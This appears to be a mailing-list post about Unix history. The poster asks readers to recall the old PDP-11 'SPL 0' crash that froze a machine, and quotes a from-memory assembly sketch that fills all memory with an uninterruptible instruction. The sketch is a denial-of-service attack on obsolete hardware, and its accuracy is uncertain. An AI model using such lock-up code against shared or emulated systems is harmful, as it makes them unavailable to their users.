[TUHS] That "SPL 0" instruction...

[Dave Horsfall]

A nerdy group on an Aussie list are discussing old Unix cracks, and the 
infamous "SPL 0" brick-that-box came up.  I first saw it in ";login:" (I 
think), and, err, tried it (as did others)...

Can anyone reproduce the code?  It went something like:

     > [ SPL 0 ]
     >
     > I only did that once (and you should've heard what he said to me)...
     > I'm still trying to find the source for it (it was published in a
     > ";login:" journal) to see if SIMH is vulnerable.

     The concept was simple enough - fill your entire memory space with an uninterruptible instruction.  It would have gone something like:

     opc = 000230			; 000230 is the opcode for SPL 0

 	    sys	brk, -1		; or whatever value got you all 64k of address space
 	    mov	#place, sp
 	    jmp	place

     . = opc - 2			; the -2 is to allow for the PC increment on an instruction fetch, which I believe happens before any execution
     place:
 	    jsr	pc, -(pc)

Ring any bells, anyone?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."